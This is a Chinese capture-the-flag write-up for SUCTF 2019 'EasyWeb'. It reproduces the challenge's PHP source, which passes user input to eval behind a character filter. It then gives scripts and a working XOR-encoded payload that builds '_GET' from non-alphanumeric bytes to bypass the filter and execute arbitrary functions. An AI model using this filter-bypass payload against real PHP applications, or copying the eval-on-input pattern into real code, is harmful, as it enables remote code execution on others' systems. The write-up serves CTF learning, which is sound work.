[SUCTF 2019]EasyWeb
知识点
- 无字母getshell
题目给了源码
<?php function get_the_flag(){ // webadmin will remove your upload file every 20 min!!!! $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']); if(!file_exists($userdir)){ mkdir($userdir); } if(!empty($_FILES["file"])){ $tmp_name = $_FILES["file"]["tmp_name"]; $name = $_FILES["file"]["name"]; $extension = substr($name, strrpos($name,".")+1); if(preg_match("/ph/i",$extension)) die("^_^"); if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^"); if(!exif_imagetype($tmp_name)) die("^_^"); $path= $userdir."/".$name; @move_uploaded_file($tmp_name, $path); print_r($path); } } $hhh = @$_GET['_']; if (!$hhh){ highlight_file(__FILE__); } if(strlen($hhh)>18){ die('One inch long, one inch strong!'); } if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) ) die('Try something else!'); $character_type = count_chars($hhh, 3); if(strlen($character_type)>12) die("Almost there!"); eval($hhh); ?>
只允许使用12个不同的字符
先来看一下哪些字符可以用
<?php for($ascii = 0; $ascii < 256; $ascii++){ if ( !preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', chr($ascii)) ) { echo $ascii.','; } } #33,35,36,37,40,41,42,43,45,47,58,59,60,62,63,64,92,93,94,123,125,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255, ?>
中间加逗号是为了方便后面python脚本的编写
我们的目标是构造出
${....^....}{..}();&..=phpinfo ==> ${_GET}{..}();&..=phpinfo ==>phpinfo()
先来构造_GET
# coding:utf-8 def get(string): s = [33,35,36,37,40,41,42,43,45,47,58,59,60,62,63,64,92,93,94,123,125,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255] for n in s: for j in s: if chr(j^n) == string and hex(n) == '0x81': print (hex(j),hex(n)) s = '_GET'; for i in s: get(i) print("========================================================") #%81%81%81%81^%de%c6%c4%d5
这里是php两个字符异或可以得到新的字符,异或是基于二进制码来进行的
print(chr(0x81^0xde)+chr(0x81^0xc6)+chr(0x81^0xc4)+chr(0x81^0xd5)) #_GET
传入payload
?_=${%81%81%81%81^%de%c6%c4%d5}{%81}();&%81=phpinfo
然后在phpinfo页面找到flag
后面不突破了??????
参考
https://www.guildhab.top/?p=677